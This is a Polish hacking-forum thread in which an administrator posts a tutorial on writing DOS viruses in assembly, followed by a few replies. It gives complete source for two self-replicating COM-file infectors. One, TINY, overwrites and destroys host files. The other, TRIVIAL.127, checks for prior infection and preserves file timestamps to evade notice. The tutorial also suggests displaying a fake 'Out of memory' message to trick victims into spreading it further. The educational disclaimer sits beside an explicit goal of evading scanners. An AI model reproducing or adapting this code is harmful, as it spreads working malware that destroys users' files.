Forum Forum o hackingu łamanie haseł podsłuch GG trojany itp Strona Główna
RejestracjaSzukajFAQUżytkownicyGrupyGalerieZaloguj
Pisanie wirusa - dla bardziej zaawansowanych

 
Ten temat jest zablokowany bez możliwości zmiany postów lub pisania odpowiedzi    Forum Forum o hackingu łamanie haseł podsłuch GG trojany itp Strona Główna » Wirusy Zobacz poprzedni temat
Zobacz następny temat
Pisanie wirusa - dla bardziej zaawansowanych
Autor Wiadomość
niebieski326
Administrator



Dołączył: 24 Sty 2006
Posty: 275
Przeczytał: 0 tematów

Pomógł: 5 razy
Ostrzeżeń: 0/5
Skąd: Zgierz

Post Pisanie wirusa - dla bardziej zaawansowanych
programowanie.bbs.pl



Na początek krótka (ale bardzo ważna) gadka:

"!! UWAGA !! Nie ponoszę żadnej odpowiedzialności za szkody spowodowane
jakimkolwiek praktykowaniem informacji zawartych w tym FAQ."
Materiały zamieszczone są wyłącznie w celach edukacyjnych.

Teraz można już zacząć Smile:

Czytasz właśnie poprawioną wersę FAQ, które napisałem kilka lat temu. Wówczas głównym celem było nauczenie czytelnika "jak pisać wirusy". Teraz moim celem jest pokazanie, jak działają wirusy, jak je się piszę, wszystko po to, by się nimi nie zarazić. W końcu najlepszą ochroną jest atak. Do nauki pisania wirusów (bo to w pewnym sensie jest nauka pisania) będzie potrzebnych kilku rzeczy:

* jakiś kompilator asemblerowy, np. A86, czy TASM i TLINK
* trochę czasu
* zły humor Smile
* podstawy z programowania w Assemblerze

Zakładam, że osoba czytająca ten tekst, czyli w tym wypadku TY ma pewne pojecie o Assemblerze. Mimo, że będę się starał niektóre rzeczy tłumaczyć dokładniej od podstaw tych, którzy nie mają o tym języku zielonego pojęcia odsyłam do przeczytania najpierw kursu programowania w Assemblerze, który oczywiście możecie znaleźć na mojej stronie.

Tekst, który właśnie czytasz, jest to pierwsza część KURSU PISANIA WIRUSOW. Zajmę się w nim ogólną budową i funkcjonowaniem wirusa. Na końcu tej pracy znajdzie się kod źródłowy jednego takiego "INSEKTA".



1. ZACZYNAMY

Istnieje wiele wirusów. Powstaje ich coraz więcej i na pewno szybko się to nie zmieni. Związane jest to głównie z tym, że na rynku powstają coraz to nowsze programy, które praktycznie same tworzą nowe "szkodniki". My jako pseudoautorzy podajemy tylko ich podstawowe parametry, a głównie autora. Większość programów antywirusowych potrafi wykryć wirusy stworzone przy pomocy takich generatorów. Wszystkie one maja jakieś cechy wspólne. Jednak przez pewne różnice w kodzie programy antywirusowe nie potrafią ich usunąć. Uważam, że takie pisanie wirusów jest do niczego - robią to tylko "dzieci". Dużo więcej frajdy sprawia stworzenie takiego szkodnika, który nie jest wykrywany przez skanery, a przy okazji pokazuje jakiś ciekawy efekt graficzny, bądź dźwiękowy, czyli pokazuje nasze umiejętności. Generatory wirusów mogą posłużyć nam jedynie do testów i poznania różnych metod, czyli edukacji. Wirusy doklejają się prawie do wszystkich plików. Potrafią zaatakować pliki typu: EXE, COM, SYS, DLL, VXD, XLS, DOC. Są próby nawet plików BAT (przykład takiego prostego wirusa plików BAT zamieszcze w którymś z kolejnych części FAQ). By stworzyć wirusa danego typu pliku trzeba poznać jego dokładną budowę. Po krotce:

* a) pliki typu EXE posiadają własny nagłówek, w którym zapisany jest punkt startu programu, czyli odkąd ma ruszyć wykonywanie programu po jego uruchomieniu. Większość wirusów plików EXE dokleja się na ich końcu zapamiętując punkt startu znajdujący się w jego nagłówku i zmieniając go na adres własnego kodu. Po uruchomieniu tak zarażonego pliku uruchomiony zostaje najpierw kod wirusa, a następnie właściwy kod programu.
* b) pliki typu COM są dużo prostsze. Nie posiadają one nagłówka. Cały program mieści się w jednym segmencie, co ułatwia pisanie wirusa. Programy typu COM wykonywane są zawsze spod tego samego punktu startu, jest to 100H. Dlatego większość wirusów atakujących takie pliki dopisuje się na ich końcu zapamiętując pierwsze trzy bajty oryginalnego programu i zmieniając je na instrukcje JMP adres, gdzie adres - jest to początek kodu wirusa.

2. PODSTAWOWE KOMENDY

Na początek wytłumaczę (przypomnę) kilka komend z Assemblera, które będą potrzebne do napisania naszego bardzo prymitywnego, pierwszego wirusa. Wytłumaczę to bardzo ogólnie. I tak:

Rejestry ogólnego przeznaczenia:

* AX - dzieli się na AH i AL
* BX - dzieli się na BH i BL
* CX - dzieli się na CH i CL
* DX - dzieli się na DH i DL

Rejestry segmentowe:

* CS - segment kodu
* DS - segment danych

Rejestr znaczników:

· do tego rejestru programista nie ma bezpośredniego dostępu, może jednak poszczególne jego bity zmieniać przy pomocy innych instrukcji Assemblera.

Podstawowe komendy:

* MOV X,Y - instrukcja kopiuje zawartość rejestru, lub komórki pamięci X do rejestru lub komórki Y. Nie wolno kopiować komórki pamięci do komórki pamięci. Jako X możemy również podać wartość stałą. Nie wolno przesyłać wartości stałej do rejestru segmentowego.
* INT X - instrukcja powoduje wywołanie przerwania o numerze X
* JMP X - instrukcja powoduje wykonanie skoku bezwarunkowego pod adres X
* XCHG X,Y - instrukcja powoduje zamianę miedzy sobą wartości dwóch rejestrów
* XOR X,Y - rozkaz oblicza sumę symetryczna rejestrów X i Y. Jeśli wykonamy tę instrukcje na tych samych rejestrach, to zostaną one wyzerowane, np. XOR AX,AX (AX=0)

Do napisania pierwszego wirusa będą nam potrzebne również pewne przerwania:

INT 21H - przerwanie 21H (wywołanie funkcji DOS-a)

MOV AH,x - X - numer funkcji przerwania

AH=4EH - funkcja powoduje szukanie pliku w katalogu bieżącym o nazwie, do której adres podany jest w DS:DX. W nazwie tej można używać gwiazdek i znaku zapytania. W rejestrze CX podajemy atrybut szukanego pliku. Jeśli plik zostanie znaleziony znacznik C zostanie wyzerowany, a w DTA będzie znajdował się opis znalezionego pliku (dokładnie nazwa pliku będzie pod adresem 9EH). Jeśli wystąpi błąd znacznik C będzie ustawiony (=1), a w rejestrze AX będzie kod powstałego błędu.

AH=4FH - funkcja powoduje szukanie kolejnego pliku. Jeśli nie zostanie znaleziony znacznik C zostanie ustawiony.

AH=3DH - funkcja powoduje otwarcie pliku. W DS:DX podajemy adres nazwy pliku w kodzie ASCIIZ, czyli nazwa musi być zakończona kodem ASCII=0, a w AL podajemy tryb dostępu. Mamy do dyspozycji następujące tryby:

· AL=0 - tylko do odczytu

· AL=1 - tylko do zapisu

· AL=2 - do odczytu i zapisu

Jeśli powstanie jakiś błąd podczas otwierania pliku zostanie ustawiony znacznik C, w przeciwnym razie w rejestrze AX znajdować się będzie numer dojścia do pliku.

AH=3EH - funkcja powoduje zamkniecie dojścia do pliku. Pliki trzeba zamknąć by wprowadzone zmiany zostały zachowane. W rejestrze BX podajemy numer dojścia do pliku, który chcemy zamknąć.

AH=40H - funkcja powoduje zapisanie CX bajtów do pliku związanego z dojściem podanym w BX. Zapisane zostaną bajty zaczynając od adresu DS:DX.

AH=42H - funkcja powoduje ustalenie pozycji wskaźnika w pliku. W rejestrze BX podajemy numer dojścia do naszego pliku, w CX:DX adres przesunięcia, a w AL sposób przesunięcia. Mamy trzy rodzaje przesunięć:

· AL=0 - względem początku pliku

· AL=1 - względem aktualnej pozycji wskaźnika w pliku

· AL=2 - względem końca pliku

Po wykonaniu przerwania w DX:AX znajduje się aktualna pozycja kursora. Jeśli więc chcemy ustawić kursor na końcu pliku rejestry CX i DX będą równe zero, a przesuniecie będzie względem końca pliku (AL=2). Funkcja ta to także sposób na odczytanie długości pliku. Wywołana z AL=2, CX=DX=0 zwróci w DX:AX długość (wielkość) pliku.

3. TO DO DZIEŁA



Pierwszym naszym wirusem będzie wirus o nazwie TINY. Zajmuje on tylko 32 bajty. Dokleja się on na początku pliku COM zamazując oryginalny kod. Tak zarażonych plików nie da się już odzyskać.

Nasz wirus będzie wykonywał następujące czynności:

1. szuka pliku do zarażenia

2. otwiera znaleziony plik

3. zapisuje samego siebie (na jego poczštku)

Wirus więc wygląda tak:



start: ; początek wirusa

MOV AH,4EH ; szukanie pliku

MOV DX,OFFSET maska ; z rozszerzeniem COM

INT 21H



MOV AX,3D02H ; otwarcie pliku

MOV DX,09EH ; nazwa znalezionego pliku z bloku DTA

INT 21H

XCHG AX,BX ; do BX numer dojścia

MOV AH,40H ; pisanie w pliku

MOV CL,20H ; CL=20H --> CL=32 - długość zapisywanego pliku

MOV DX,OFFSET start ; począwszy od początku wirusa

INT 21H

RET ; zakończenie programu



maska DB "*.COM",0

end start

Jest to bardzo prymitywny wirus. Nie wyświetla żadnego napisu, ani nie posiada żadnych efektów. Zarażone programy zmieniają swoja datę oraz czas ostatniej modyfikacji. Wirus również nie zarazi pliku, który ma nałożone jakieś atrybuty. Pomimo tych wad, powyższy program można nazwać WIRUSEM, gdyż potrafi się rozprzestrzeniać. Można w pewien sposób poprawić jego kod dostawiając na końcu napis np. "Out of memory", tak by po zarażeniu pliku napis ten został wyświetlony. Powinno to zmylić potencjalnego użytkownika i skusić do powtórzenia tej operacji. Wirusy tego typu majš jednš zaletę. Zarażone programy nie zmieniają swojej objętości.

Jest jeszcze jeden wirus o nazwie TRIVIAL.127. To poprawiona wersja naszego prostego TINY'ego. Czym ona się różni?

* nie zaraza plików wcześniej zarażonych
* kontroluje ewentualne błędy
* pliki nie zmieniają swojej daty i czasu ostatniej modyfikacji

Zastanówmy się jak zrobić poszczególne te elementy.

Nasz wirus musi być trochę bardziej inteligentny i jeśli znajdzie plik, który został wcześniej już zarażony, to niech go nie zaraza jeszcze raz tylko poszuka kolejnej ofiary. By to uczynić musi jakoś przetestować znaleziony plik i stwierdzić, w nim obecność swojego kodu bądź nie. W wirusie TRIVIAL.127 posłużono się w tym celu pierwszymi dwoma bajtami. Cały wirus zaczyna się od instrukcji MOV BX,BX, która ma kod 8BDB. Teraz po znalezieniu ofiary, zostają sprawdzone jej dwa pierwsze bajty i jeśli to 8BDB, to szukamy drugiego pliku, a jeśli nie to zarażamy. By uczynić powyższe zadanie przypomnę kilka instrukcji, które będą nam potrzebne:

CMP X,Y - instrukcja powoduje porównanie dwóch rejestrów, bądź rejestru i stałej oraz na podstawie wyniku odpowiednie ustawienie znaczników.

JC adres - jest to skok warunkowy. Jeśli znacznik C jest ustawiony (=1) to zostanie wykonany skok pod wskazany adres.

JE adres - skok gdy wartości rejestrów X i Y są takie same (X=Y)

JNE adr - skok gdy wartości X i Y są różne (X!=Y lub X<>Y)

PUSH rej - instrukcja powoduje zapamiętanie na stosie wartości rejestru REJ

POP rej - instrukcja powoduje zdjęcie ze stosu wartości i zapamiętanie jej w rejestrze REJ

CALL adr - instrukcja powoduje skok do procedury, która musi być zakończona instrukcją RET

RET - powoduje powrót z procedury do miejsca, z którego została wywołana

Będzie również potrzebnych również kilka przerwań (funkcji):

INT 21H - przerwanie 21H

MOV AL,X - X - numer funkcji

AH=3FH - funkcja powoduje czytanie pliku. W rejestrze BX podajemy numer dojścia do pliku, w CX liczbę czytanych bajtów, a w DS:DX adres bufora, gdzie zostaną zapamiętane dane. Jeśli wystąpi podczas operacji jakiś błąd, to zostanie ustawiony znacznik C, a rejestr AX będzie zawierał kod powstałego błędu. Jeśli natomiast operacja zakończy się sukcesem, to w AX będzie zapisana liczba przeczytanych bajtów.

AH=57H - funkcja ustawia lub sprawdza aktualna datę oraz czas ostatniej modyfikacji. Jeśli AL=0 to sprawdzamy, a wtedy podajemy w BX numer dojścia i po wykonaniu przerwania w CX znajduje się czas, a w DX data modyfikacji. Gdy AL=1 to ustawiamy, wtedy podajemy również w BX numer dojścia i w CX czas, a DX datę modyfikacji.

AH=4CH - funkcja powoduje zakończenie wykonywania programu i zwrócenie wartości podanej w AL przez ten program.

Nasz gotowy wirus wygląda więc tak:



start: ; początek kodu wirusa

MOV BX,BX ; instrukcja charakterystyczna dla wirusa

MOV AH,4EH ; szukanie pliku

MOV CX,0 ; ustalenie atrybutów szukanego pliku

MOV DX,OFFSET maska ; nazwa szukanego pliku (*.COM)

etyk1:

INT 21H

JC etyk2 ; jeśli nie znaleziono pliku, to skok pod ETYK2

CALL proc1 ; jeśli znaleziono, to infekcja - skok to PROC1

MOV AH,4FH ; szukanie następnego

JMP etyk1 ; skok na początek ETYK1

etyk2:

MOV AX,4C00H ; zakończenie programu

INT 21H

proc1: ; procedura zaraża plik

MOV AX,3D02H ; otwarcie pliku do odczytu i zapisu

MOV DX,9EH ; nazwa w bloku DTA, czyli adres 9EH

INT 21H

XCHG BX,AX ; do BX numer dojścia do pliku

MOV AH,3FH ; czytanie z pliku

MOV CX,2 ; dwóch pierwszych bajtów

MOV DX,OFFSET bufor ; i zapamiętanie ich w Buforze

INT 21H

CMP WORD PTR bufor, 08BDBH ; jeśli wczytane bajty to 8BDB

JE etyk4 ; tzn. ze plik został już zarażony

XOR DX,DX ; wyzerowanie rejestru DX

MOV CX,DX ; do CX wartość DX, czyli CX=0

MOV AX,4200H ; ustawienie wskaźnika na początku pliku

INT 21H

MOV AL,0 ; AL=0, czyli

MOV AH,57H ; sprawdzenie daty i czasu ostatniej

INT 21H ; modyfikacji

PUSH CX ; zapamiętanie czasu

PUSH DX ; i daty na stosie

MOV AH,40H ; zapisanie w pliku

MOV CX,OFFSET koniec-OFFSET start ; długość wirusa bajtów

MOV DX,100H ; począwszy od adresu 100H (początek kodu)

INT 21H

MOV AL,1 ; AL=1

POP DX ; zdjęcie ze stosu daty i

POP CX ; czasu ostatniej modyfikacji

MOV AH,57H ; zmiana owych parametrów pliku, gdyż AL=1

INT 21H

etyk4:

MOV AH,3EH ; zamknięcie dojścia do pliku

INT 21H

RET ; powrót z procedury

bufor DW 0 ; bufor

maska DB "*.COM",0


Post został pochwalony 0 razy
Wto 18:28, 07 Lis 2006 Zobacz profil autora
ptaq1988s
Super forumowicz



Dołączył: 30 Lis 2006
Posty: 37
Przeczytał: 0 tematów

Pomógł: 2 razy
Ostrzeżeń: 0/5

Post
hej mam pytanko czy jak zrobi takiego wirusa na swoim kompie to on niezacznie zarazac mi kompa????? pozdrawiam Smile


Post został pochwalony 0 razy
Pią 18:21, 01 Gru 2006 Zobacz profil autora
niebieski326
Administrator



Dołączył: 24 Sty 2006
Posty: 275
Przeczytał: 0 tematów

Pomógł: 5 razy
Ostrzeżeń: 0/5
Skąd: Zgierz

Post
jeśli go otworzysz to tak a dla bezpieczeństwa pisz i testuj wirusy na VirtualPC


Post został pochwalony 0 razy
Pią 20:10, 01 Gru 2006 Zobacz profil autora
ptaq1988s
Super forumowicz



Dołączył: 30 Lis 2006
Posty: 37
Przeczytał: 0 tematów

Pomógł: 2 razy
Ostrzeżeń: 0/5

Post
hej wiesz moze skad moge pobrac assemblera bo nigdzie niemoge znalezc, jak mozesz pomuc bede wdzieczny pozdrawiam Laughing


Post został pochwalony 0 razy
Pią 23:23, 01 Gru 2006 Zobacz profil autora
ptaq1988s
Super forumowicz



Dołączył: 30 Lis 2006
Posty: 37
Przeczytał: 0 tematów

Pomógł: 2 razy
Ostrzeżeń: 0/5

Post
hej mam pytanie jak juz napisze tego wirusa w assemblerze to mam go zapisac z rozszezeniem bin ??? i jak juz go zapisze mi na kompie to jak przeskanuje ten plik to antywirus mi wykryje go, ze to wirus??? Laughing


Post został pochwalony 0 razy
Pon 13:06, 04 Gru 2006 Zobacz profil autora
niebieski326
Administrator



Dołączył: 24 Sty 2006
Posty: 275
Przeczytał: 0 tematów

Pomógł: 5 razy
Ostrzeżeń: 0/5
Skąd: Zgierz

Post
tak, powinien


Post został pochwalony 0 razy
Pon 14:17, 04 Gru 2006 Zobacz profil autora
Edukator
Zaawansowany forumowicz



Dołączył: 05 Sie 2007
Posty: 16
Przeczytał: 0 tematów

Ostrzeżeń: 0/5

Post
Bardzo dobry art.
Chylę czoła;]


Post został pochwalony 0 razy
Nie 1:12, 05 Sie 2007 Zobacz profil autora
Wyświetl posty z ostatnich:    
Ten temat jest zablokowany bez możliwości zmiany postów lub pisania odpowiedzi    Forum Forum o hackingu łamanie haseł podsłuch GG trojany itp Strona Główna » Wirusy Wszystkie czasy w strefie EET (Europa)
Strona 1 z 1

 
Skocz do: 
Możesz pisać nowe tematy
Możesz odpowiadać w tematach
Nie możesz zmieniać swoich postów
Nie możesz usuwać swoich postów
Nie możesz głosować w ankietach


fora.pl - załóż własne forum dyskusyjne za darmo
Powered by phpBB © 2001, 2005 phpBB Group
Design by Freestyle XL / Music Lyrics.
Regulamin